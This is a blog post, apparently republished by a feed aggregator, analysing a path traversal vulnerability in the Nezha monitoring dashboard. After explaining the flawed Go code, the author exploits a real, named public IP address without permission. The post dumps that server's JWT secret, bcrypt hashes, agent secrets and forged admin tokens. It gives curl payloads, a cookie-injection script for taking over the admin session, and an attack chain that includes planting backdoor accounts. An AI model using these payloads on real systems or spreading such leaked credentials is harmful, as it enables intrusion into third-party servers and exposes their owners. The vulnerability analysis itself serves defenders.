惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

阮一峰的网络日志
阮一峰的网络日志
D
Darknet – Hacking Tools, Hacker News & Cyber Security
S
Schneier on Security
The Last Watchdog
The Last Watchdog
Cyberwarzone
Cyberwarzone
S
Securelist
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
C
Cyber Attacks, Cyber Crime and Cyber Security
L
Lohrmann on Cybersecurity
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园 - 司徒正美
The Cloudflare Blog
V
V2EX
博客园_首页
博客园 - 聂微东
Vercel News
Vercel News
人人都是产品经理
人人都是产品经理
G
GRAHAM CLULEY
T
Tenable Blog
Last Week in AI
Last Week in AI
Y
Y Combinator Blog
L
LINUX DO - 最新话题
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
SecWiki News
SecWiki News
博客园 - 三生石上(FineUI控件)
S
Secure Thoughts
N
News | PayPal Newsroom
T
The Blog of Author Tim Ferriss
The GitHub Blog
The GitHub Blog
T
Troy Hunt's Blog
博客园 - 【当耐特】
Forbes - Security
Forbes - Security
H
Hacker News: Front Page
A
About on SuperTechFans
B
Blog RSS Feed
Engineering at Meta
Engineering at Meta
MongoDB | Blog
MongoDB | Blog
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
罗磊的独立博客
D
DataBreaches.Net
P
Privacy & Cybersecurity Law Blog
Schneier on Security
Schneier on Security
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Google DeepMind News
Google DeepMind News
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Jina AI
Jina AI
D
Docker
P
Proofpoint News Feed

玄外之音

避坑野草云:200M 回国优质带宽, 实际回国不到 3M 哪吒监控Dashboard路径漏洞实战测试 哪吒监控终端 404 故障复盘 哪吒监控终端 404 故障复盘 一文看懂常见防火墙阻断技术与 DNS 污染 一文看懂常见防火墙阻断技术与 DNS 污染 狐蒂云(szhdy.com)崩盘始末完整深度复盘 狐蒂云(szhdy.com)崩盘始末完整深度复盘 规则的废墟:谁在谋杀契约精神 规则的废墟:谁在谋杀契约精神 那个发光的 IP 那个发光的 IP AI 放大能力,也放大愚蠢 AI 放大能力,也放大愚蠢 永久白嫖Cloudfire Pro 或 Business 永久白嫖Cloudfire Pro 或 Business 互联网深处的隐秘病房 互联网深处的隐秘病房 为什么外来之声愈发悦耳,内部却为何屡遭质疑? 特权的悖论:当我也站在“专用通道”前
哪吒监控Dashboard路径漏洞实战测试
玄外之音 · 2026-06-17 · via 玄外之音

📌 写在前面

哪吒监控官方发布了一则重磅安全公告(GHSA-5c25-7vpj-9mqh),披露了一个无需任何认证即可读取任意文件的高危路径遍历漏洞。作为运维监控领域的常用工具,其影响面不容小觑。

本着"知己知彼"的安全理念,我决定对该漏洞进行完整的分析与验证。本文将完整记录从漏洞原理分析到实战验证的全过程,希望能为运维同仁提供防御参考。


一、漏洞全景概览

1.1 核心信息速览

项目 详情
漏洞编号 GHSA-5c25-7vpj-9mqh
影响组件 github.com/nezhahq/nezha (哪吒监控Dashboard)
漏洞类型 路径遍历 (Path Traversal)
危险等级 🔴 高危
攻击门槛 极低 —— 无需任何认证,一次GET请求即可
影响版本 所有未修复的旧版部署

1.2 漏洞本质

哪吒监控Dashboard的 NoRoute 处理器在处理 /dashboard 路径请求时,采用 strings.HasPrefix 进行简单的前缀匹配,未对路径进行严格的段校验。攻击者可精心构造特制URL,巧妙绕过 http.ServeFile 内置的路径遍历防护机制,实现服务器任意文件的读取。

一句话总结:这是一个因字符串匹配逻辑缺陷而引发的文件读取漏洞,且无需任何凭证即可触发。


二、漏洞原理 · 深入拆解

2.1 问题代码定位

漏洞核心存在于 cmd/dashboard/controller/controller.go

// 存在缺陷的代码逻辑(版本 @ 636f4a9)
fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
    stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
    if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
        return
    }
}

func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
    checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
        if _, err := os.Stat(path); err == nil {
            http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
            return true
        }
    }
}

2.2 攻击向量对比表

请求URL TrimPrefix结果 path.Join结果 是否绕过 结果
/dashboard/login /login admin-dist/login 正常访问
/dashboard/../data/config.yaml /../data/config.yaml data/config.yaml ✅ 被Go拦截 400 Bad Request
/dashboard../data/config.yaml ../data/config.yaml data/config.yaml 绕过成功 读取任意文件
/dashboard%2e%2e/data/config.yaml ../data/config.yaml (解码后) data/config.yaml 绕过成功 读取任意文件
/dashboard..%2fdata/config.yaml ../data/config.yaml (解码后) data/config.yaml 绕过成功 读取任意文件

2.3 绕过逻辑可视化

攻击Payload构造流程:

正常请求: /dashboard/login
         ↓ strings.HasPrefix → True
         ↓ strings.TrimPrefix → /login
         ↓ path.Join → admin-dist/login
         ↓ 返回 admin-dist/login ✅

攻击请求: /dashboard../data/config.yaml
         ↓ strings.HasPrefix → True (注意:/dashboard.. 仍然以 /dashboard 开头)
         ↓ strings.TrimPrefix → ../data/config.yaml
         ↓ path.Join → data/config.yaml (路径穿越成功)
         ↓ os.Stat → 文件存在
         ↓ http.ServeFile → 返回文件内容 🚨

为什么 /dashboard/../data/config.yaml 被拦截?
         ↓ 包含独立 ".." 段 → http.ServeFile 内置防护触发 → 400 Bad Request

为什么 /dashboard../data/config.yaml 成功?
         ↓ 第一个URL段是单个 token "dashboard.." → 没有独立 ".." 段
         ↓ 标准库防护不触发 → 路径穿越在 TrimPrefix 后才出现 → 成功读取

关键绕过点拆解:

  1. 前缀检查缺陷strings.HasPrefix 仅进行字符串前缀匹配,/dashboard/dashboard.. 均被视为有效
  2. 清理时机错位path.JoinTrimPrefix 之后执行,此时 .. 已被成功引入路径
  3. 标准库防护盲区http.ServeFile 仅检查URL路径中的独立 .. 段(即被 / 包围的 ..),而 dashboard.. 中的 .. 是第一个段的一部分,不会被识别为威胁
  4. 缺少根目录锚定:代码在 path.Join 后未检查结果是否仍在 admin-dist 目录内

三、实战测试

3.1 信息侦查

资产发现

语法: title=“Nezha” && port=“8008”

扫到了了41631个面板,看了下大部分都更新最新版了,但是还是有很多头铁的。

找了半天才找到了一个没鸡的面板:http://103.215.48.166:8008

3.2 漏洞验证

步骤一:探测路径遍历漏洞

curl -v --path-as-is 'http://103.215.48.166:8008/dashboard../data/config.yaml'

服务器响应

HTTP/1.1 200 OK
Content-Type: application/yaml
Content-Length: 5523

debug: false
listen_port: 8008
language: zh_CN
jwt_secret_key: rxLGg4gNLJEhRKA0oBOKBoGCaoqkdNW2R8OhLXu2XOZqKsWZy0iF5u4WXBl9zfeeFk3VaSVzYiL1rem8FD6lA8aMttCOmE7m6D5SogIiW58VF5h6rdvTIhQpoy4qel2XED3mcAU7uvZIWIdCDYfKPmSD7VwCR2T1D2HoVCerfG3uk7KqpIekcausnq7abpGrVSBTVHEs9OLnXnkBwKbmMllSJhbd3W43Ckn6IJHrZDBhKi0nFxQHlX6I9V1eZy3Iau8bDkCUmP9eBLW40oniZIkXzwUSRTERxVC5fdBglbWYUdGxY97xGMoVv0PlEtxP1tsL9Qy783c292IjErBYc9KP5w3NXYz4oc4JL5Q9AKEIzP6VEbcb42ueUsJw457486jiBplPILVCwqF3hdUI9K4Hx4s0g0BUT24zTCEt3BXmDH7FoueVYxnqWnUujgYbtWOxUEJ2MM6gmAGec38sJzLWPxCpzvNjOuSoth4WRI9CRTzta0242JwO2k7zbcPSk6aYMz79fA7LzScnVbLQqLevc6XQlvpfVbkCCUP4sz3vVJt992QFVnoJ0dCVfumVPFsIdPj29YfJxqgvVJK6YMIVZYbhtst4Xg5l7MNYjImMtddoaVsmzAmNwSD5qenmMtnunKSOWDJCshhoCy8kbbaTpSccLGOeUXtxDtKFaUr11moJcdqi2Wqe1wgP3LzrHJocjnP5IMaamG30WJZWqyDwIqJqs56PtNEVnRiyF2rFiwvJpmtMZKFkXzdPzoNt2QIEdsGX0utcslrM84E6RQtAPlobaRAM0mxYFft7UC3XGzht5ziTqs9DasM13Tf7jYOn2hveEZE2yyqLNn9CddcOjgUFobqtwaoBmldRXUoxmZkRMSKFqdTbG52exCSCHcf0RGR2Z0SGSRM2tFUqBDD3nUQv5zkg5cAUqncKZFgY1nbp4NcKuMW5XgfGCTyfDk0bOLy91Ak4m6X9nNJHbPlBT1SFdibjDo9Kkhrqu3UF9b2HeoJYTluTDv6Yl03j

成功获取配置文件 —— JWT密钥与Agent密钥全部暴露!

3.3 深入利用

步骤二:下载数据库文件

curl --path-as-is 'http://103.215.48.166:8008/dashboard../data/sqlite.db' -o sqlite.db

成功下载约5MB的 sqlite.db 文件。

步骤三:数据库信息提取

sqlite3 sqlite.db "SELECT id, username, role FROM users;"

令人震惊的结果

image

⚠️ 发现异常

  • 默认 admin 账户仍然存在且未修改密码但是我们本次是测试利用Cookie实现登录,所以就当admin不存在。
  • 存在大量随机名称的管理员账户(疑似已被多次入侵的痕迹)

步骤四:通过数据库生成token



[*] 启动全量信息审计: http://103.215.48.166:8008

[+] 密钥获取成功: rxLGg4gNLJEhRKA0oBOKBoGCaoqkdNW2R8OhLXu2XOZqKsWZy0iF5u4WXBl9zfeeFk3VaSVzYiL1rem8FD6lA8aMttCOmE7m6D5SogIiW58VF5h6rdvTIhQpoy4qel2XED3mcAU7uvZIWIdCDYfKPmSD7VwCR2T1D2HoVCerfG3uk7KqpIekcausnq7abpGrVSBTVHEs9OLnXnkBwKbmMllSJhbd3W43Ckn6IJHrZDBhKi0nFxQHlX6I9V1eZy3Iau8bDkCUmP9eBLW40oniZIkXzwUSRTERxVC5fdBglbWYUdGxY97xGMoVv0PlEtxP1tsL9Qy783c292IjErBYc9KP5w3NXYz4oc4JL5Q9AKEIzP6VEbcb42ueUsJw457486jiBplPILVCwqF3hdUI9K4Hx4s0g0BUT24zTCEt3BXmDH7FoueVYxnqWnUujgYbtWOxUEJ2MM6gmAGec38sJzLWPxCpzvNjOuSoth4WRI9CRTzta0242JwO2k7zbcPSk6aYMz79fA7LzScnVbLQqLevc6XQlvpfVbkCCUP4sz3VvJt992QFVnoJ0dCVfumVPFsIdPj29YfJxqgvVJK6YMIVZYbhtst4Xg5l7MNYjImMtddoaVsmzAmNwSD5qenmMtnunKSOWDJCshhoCy8kbbaTpSccLGOeUXtxDtKFaUr11moJcdqi2Wqe1wgP3LzrHJocjnP5IMaamG30WJZWqyDwIqJqs56PtNEVnRiyF2rFiwvJpmtMZKFkXzdPzoNt2QIEdsGX0utcslrM84E6RQtAPlobaRAM0mxYFft7UC3XGzht5ziTqs9DasM13Tf7jYOn2hveEZE2yyqLNn9CddcOjgUFobqtwaoBmldRXUoxmZkRMSKFqdTbG52exCSCHcf0RGR2Z0SGSRM2tFUqBDD3nUQv5zkg5cAUqncKZFgY1nbp4NcKuMW5XgfGCTyfDk0bOLy91Ak4m6X9nNJHbPlBT1SFdibjDo9Kkhrqu3UF9b2HeoJYTluTDv6Yl03j

[+] 数据库扫描完成,发现 17 条记录
================================================================================
{
    "id": 1,
    "created_at": "2025-03-13 00:39:59.546561425+08:00",
    "updated_at": "2025-03-13 00:39:59.546561425+08:00",
    "user_id": 0,
    "username": "admin",
    "password": "$2a$10$zt9F232//AeFE356fn/g7.biT8/KTPDqa6Ux93WCQln96v5PSoMEa",
    "role": 0,
    "agent_secret": "umR8aq50HkdXSgoybOOc2ohjxNvjjVDp",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxIn0.OiwhPNeKjsAMujVcTSDhXMOm10kdh6HE0RkiIU9-S-g",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "1"
    }
}
--------------------------------------------------------------------------------
{
    "id": 2,
    "created_at": "2026-05-26 09:38:16.355351921+08:00",
    "updated_at": "2026-05-26 09:38:16.355351921+08:00",
    "user_id": 0,
    "username": "xiaofeng",
    "password": "$2a$10$H.BBoIxllGtZ.igZgJa96OHI4Yaic06XmpL/bQcPUyhlEvMP1vbby",
    "role": 0,
    "agent_secret": "pgiNY4RspBh0Fl12e9xyPxSSlP3bniWq",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIyIn0.hsvigFknlORQJXKDGVjfkrrR7uOnryDCTT9axQTMc0U",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "2"
    }
}
--------------------------------------------------------------------------------
{
    "id": 3,
    "created_at": "2026-05-28 11:01:21.692301859+08:00",
    "updated_at": "2026-05-28 11:01:21.692301859+08:00",
    "user_id": 0,
    "username": "system",
    "password": "$2a$10$2gfLVcq8F3SrC6/PH/3m3u/LEmSF.6vi6o.LfweA1vvMCOK0hPFTm",
    "role": 0,
    "agent_secret": "UJxn31u09dr9nVzLuN6qmN7INAhffyvU",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIzIn0._HXWVcrEwQecJz-mJaLVOXNe4iDWZHkeacH5uO_-KYg",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "3"
    }
}
--------------------------------------------------------------------------------
{
    "id": 4,
    "created_at": "2026-06-17 16:22:42.29219538+08:00",
    "updated_at": "2026-06-17 16:22:42.29219538+08:00",
    "user_id": 0,
    "username": "adm_vffarbmb",
    "password": "$2a$10$aCDw7w4KTM0Ml3JkI2Qpp.eVIIBjRWJGtAzCWXxFb2lN.i9D15j9.",
    "role": 0,
    "agent_secret": "LeBHjnwoCjYbwKSABILbNeFHVtOhEJAa",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI0In0.A86sGmlMtec5txD0K6GPlJbxw-7eWn2DqVHZ0rNX3G4",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "4"
    }
}
--------------------------------------------------------------------------------
{
    "id": 5,
    "created_at": "2026-06-17 16:32:41.508204087+08:00",
    "updated_at": "2026-06-17 16:32:41.508204087+08:00",
    "user_id": 0,
    "username": "adm_dsesavvc",
    "password": "$2a$10$AkNmgpUdz7u/VIuRe928cOSuVRQNxiOzFl7pFqSjF0X5WLzBDMkEW",
    "role": 0,
    "agent_secret": "Feiz07rduRQT9bRfdAFDpPJSMzbykWaA",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI1In0.kgpMBpWb28P19AbhXtWBHzWLSH9HN2suXoPa4HsR0xg",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "5"
    }
}
--------------------------------------------------------------------------------
{
    "id": 6,
    "created_at": "2026-06-17 16:42:30.013210077+08:00",
    "updated_at": "2026-06-17 16:42:30.013210077+08:00",
    "user_id": 0,
    "username": "adm_s/stwvkg",
    "password": "$2a$10$Td5Hh0fIG4OAPnKAfnabVO2Adp.b03jAZvVdOe3rDvufXI8f9Gioe",
    "role": 0,
    "agent_secret": "ClIY93yLMxrIErvu57TOw81XkmbZy7Ve",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI2In0.Z0PyaKpb64sPl359LEGPDd_tfg3mCNxgFdvUSw9z1UQ",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "6"
    }
}
--------------------------------------------------------------------------------
{
    "id": 7,
    "created_at": "2026-06-17 16:43:25.280544243+08:00",
    "updated_at": "2026-06-17 16:43:25.280544243+08:00",
    "user_id": 0,
    "username": "adm_fr4dy7/x",
    "password": "$2a$10$lqcMvxYeQbqXQG4HenYX3eNVzJS5DlL9GF3GhugVTny5VPGp5eqZu",
    "role": 0,
    "agent_secret": "OZeG3hd3A9NX6jfR8emmYE14xRIgxeNP",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI3In0.H4YyakulFmqqIGcxub11ulB0833Wmei-4bg9aSLyQwc",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "7"
    }
}
--------------------------------------------------------------------------------
{
    "id": 8,
    "created_at": "2026-06-17 16:43:50.711328546+08:00",
    "updated_at": "2026-06-17 16:43:50.711328546+08:00",
    "user_id": 0,
    "username": "adm_qha+o3pg",
    "password": "$2a$10$8nqh6A0YXOaVLLXtEWv3TO8rUzBVj2CJXzx1uE7NvN7nppAqiw5by",
    "role": 0,
    "agent_secret": "eKVlwyjbTFx8wHy7JpqUNwOFdfJJdspw",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI4In0.kWKoEP7Mo4a5DaUsDRdr8bSGBBSOtJtjbjWcWMaVsr4",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "8"
    }
}
--------------------------------------------------------------------------------
{
    "id": 9,
    "created_at": "2026-06-17 16:44:49.809216891+08:00",
    "updated_at": "2026-06-17 16:44:49.809216891+08:00",
    "user_id": 0,
    "username": "adm_2+lrtv3+",
    "password": "$2a$10$VYLx1MknA.8kPSa/oPwMq.KBerNAeoD0mTl/enUp26w3LPVOVGUQe",
    "role": 0,
    "agent_secret": "Msc8Y6u6Xaz4F9sZREJt8riAtnWD4btb",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI5In0.AYhWKfnW7jFltMyvFQSzgc6Jghe4dEdwt7kWy1az2b8",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "9"
    }
}
--------------------------------------------------------------------------------
{
    "id": 10,
    "created_at": "2026-06-17 16:44:52.099865105+08:00",
    "updated_at": "2026-06-17 16:44:52.099865105+08:00",
    "user_id": 0,
    "username": "adm_xxwiuzec",
    "password": "$2a$10$47mgrvgGi/48K95ZJokxsOeFxhhTfFZbLvx5B2v6l45PJmlJc8Bbm",
    "role": 0,
    "agent_secret": "bNZnTyYMQNhnviu2Nd9pPboAvu9vs0dR",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMCJ9.5jjKN3oZcANxKmftanwVet_s8Ctoid7hyM8acEQ1f10",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "10"
    }
}
--------------------------------------------------------------------------------
{
    "id": 11,
    "created_at": "2026-06-17 16:45:00.548958044+08:00",
    "updated_at": "2026-06-17 16:45:00.548958044+08:00",
    "user_id": 0,
    "username": "adm_luqs0mhf",
    "password": "$2a$10$GV/SaPap9O8625MslzOZneR00k4XMv3MEVZzLJ.JJkcNwnA6QOC/y",
    "role": 0,
    "agent_secret": "4iQjvUrWOZFHZtiag99hKmW1RdOp2GOJ",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMSJ9.iPmTCypteEQdnylOBS53s2dygavGjVdvoOTweciOf1w",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "11"
    }
}
--------------------------------------------------------------------------------
{
    "id": 12,
    "created_at": "2026-06-17 16:45:50.342881451+08:00",
    "updated_at": "2026-06-17 16:45:50.342881451+08:00",
    "user_id": 0,
    "username": "adm_ambw/x5z",
    "password": "$2a$10$65BkWEgpEGMfEOHVRcYyO.Mu/LiM/ri/qosX2GMk23ZBvr88MBurm",
    "role": 0,
    "agent_secret": "EDNCjDWaJpei2WTeT1f7tfwzmHzssDjW",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMiJ9.F_XNPYDngyAmwtwXVMQYVhawo4lHuOYPbXg1IjlHRZA",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "12"
    }
}
--------------------------------------------------------------------------------
{
    "id": 13,
    "created_at": "2026-06-17 16:45:58.616923303+08:00",
    "updated_at": "2026-06-17 16:45:58.616923303+08:00",
    "user_id": 0,
    "username": "adm_mqqd+h4+",
    "password": "$2a$10$r5G4fmA45.NwPLK/3Q2Cee9THsaPz3PRFpS1SrS55ESo3Ma8WEMUS",
    "role": 0,
    "agent_secret": "lBd60hS9NcJA8GQRSaKQg0cuJmf8Nr8c",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxMyJ9.t86W6mjLG13DVhuCOWbGcRGNjW_2HrNtdQ0ioWs2NB8",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "13"
    }
}
--------------------------------------------------------------------------------
{
    "id": 14,
    "created_at": "2026-06-17 16:46:20.91443534+08:00",
    "updated_at": "2026-06-17 16:46:20.91443534+08:00",
    "user_id": 0,
    "username": "adm_ieu8o3ep",
    "password": "$2a$10$PCVilyjeV8k3qlo8xvt.AO1PyVUGIQ443YVO4iuxh9i5GN1wKFYtK",
    "role": 0,
    "agent_secret": "SPjMlLPZCDW5pz1nksVNi50tU5v0ErJw",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNCJ9.flg9JQyX1WJEb0kiqKAF2ACDoXm3b_sE_pdsJ5z_Tyc",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "14"
    }
}
--------------------------------------------------------------------------------
{
    "id": 15,
    "created_at": "2026-06-17 16:46:36.358966921+08:00",
    "updated_at": "2026-06-17 16:46:36.358966921+08:00",
    "user_id": 0,
    "username": "adm_dwjr41v3",
    "password": "$2a$10$oH4AF7gF/zQVqN1AjH8hduSGkKU4BYCm9lhj3YlJSpEr96sfNUkt.",
    "role": 0,
    "agent_secret": "Fw7zysg2wnTPAAtboU9fi0MHColF7QVV",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNSJ9.zo7YmYzhrOI3pjku_QVJPjkwECfc2I28Rkbmw6zHvg8",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "15"
    }
}
--------------------------------------------------------------------------------
{
    "id": 16,
    "created_at": "2026-06-17 16:46:58.459501326+08:00",
    "updated_at": "2026-06-17 16:46:58.459501326+08:00",
    "user_id": 0,
    "username": "adm_wyc7dear",
    "password": "$2a$10$23Jd93T5SIaerBFhffviMenmim.SI5/8JZenmAojbE9IiPp1vmFQq",
    "role": 0,
    "agent_secret": "usXVZkMWe8wfFYhZR8Tzm4saA2c6i32D",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNiJ9.dnUz7p5-Tk2DFc3bUEk_59mqX3COFujfnS82WHsCG0E",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "16"
    }
}
--------------------------------------------------------------------------------
{
    "id": 17,
    "created_at": "2026-06-17 16:48:17.49098282+08:00",
    "updated_at": "2026-06-17 16:48:17.49098282+08:00",
    "user_id": 0,
    "username": "adm_2fr/p2fo",
    "password": "$2a$10$lnc8nHdjvIOs/HH2Lo7vHOYhtVDKyrpXvp7Ya/7rzpVEOLNXzuC8m",
    "role": 0,
    "agent_secret": "bTu3BZfdTnFykPO4OASKZpoJt24lYvAw",
    "reject_password": 0,
    "generated_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiIxNyJ9.npVsCyDkH1YOeMZqaWVPd4zYUnH0LOVn-nT0qeCCJsQ",
    "payload_used": {
        "exp": 1782263392,
        "ip": "",
        "orig_iat": 1781658592,
        "user_id": "17"
    }
}
--------------------------------------------------------------------------------

## 执行结束... 2026-06-17 17:09:52  耗时 8 秒   

3.4 注入测试

通过生成的 generated_token 在浏览器修改Cookie发现直接成功了,下方测试数据的通过数据库id:8的管理员生成的generated_token。

方式一:浏览器控制台一键注入

(function() {
    const TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIyNjMzOTIsImlwIjoiIiwib3JpZ19pYXQiOjE3ODE2NTg1OTIsInVzZXJfaWQiOiI4In0.kWKoEP7Mo4a5DaUsDRdr8bSGBBSOtJtjbjWcWMaVsr4";
    document.cookie = "nz-jwt=" + TOKEN + "; path=/; max-age=86400; SameSite=Lax";
    console.log("[+] Cookie注入成功!刷新页面即可进入后台");
})();

方式二:开发者工具Application面板

  1. F12 打开开发者工具
  2. 切换到 ApplicationCookieshttp://103.215.48.166:8008
  3. 添加新Cookie:
    • Name: nz-jwt
    • Value: [上述Token]
    • Path: /
  4. 刷新页面

四、完整攻击链复盘

第一阶段:信息搜集
    ├── FOFA/Shodan 搜索暴露资产
    └── 确认目标版本特征

第二阶段:漏洞利用(两次GET请求即可完成)
    ├── GET /dashboard../data/config.yaml → 获取 jwt_secret_key
    └── GET /dashboard../data/sqlite.db → 获取用户列表

第三阶段:权限获取(两条路径)
    ├── 路径A:直接使用数据库中的预生成JWT Token
    │   └── 注入Cookie → 登录后台
    └── 路径B:使用jwt_secret_key伪造新Token(更隐蔽)
        └── 伪造任意用户JWT → 注入Cookie → 登录后台

第四阶段:权限维持
    ├── 创建后门管理员账户
    ├── 修改系统配置参数
    └── 长期隐蔽留存

五、影响与危害评估

5.1 官方公告确认的影响范围

根据GitHub安全公告,该漏洞可导致:

文件 默认路径 泄露内容 严重程度
data/config.yaml -c 标志默认值 JWT签名密钥(HS256)、Agent密钥、OAuth2客户端密钥、GitHub Release Token、GeoIP API密钥 🔴 严重
data/sqlite.db -db 标志默认值 完整数据库:用户(含管理员)、bcrypt密码哈希、服务器注册信息、API令牌、通知配置 🔴 严重

5.2 完整接管路径(已由官方验证)

“The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.”

从公开的配置文件到完全的管理员权限接管,仅需:

  • 2次 未认证HTTP请求
  • 1次 JWT签名操作
  • 无需 任何用户交互或特殊时机

5.3 本次发现的严重问题

目标站点存在的安全隐患远超预期:

  1. 默认账户未清理admin 账户仍存在且密码未修改
  2. 多次入侵痕迹:存在大量 adm_* 格式的随机管理员账户
  3. 预生成Token残留:数据库中保留着可直接使用的JWT
  4. 管理面板暴露公网:未做任何访问控制

该站点显然已被多次入侵,但仍未被运维团队察觉。


📚 附录

A. 参考资源

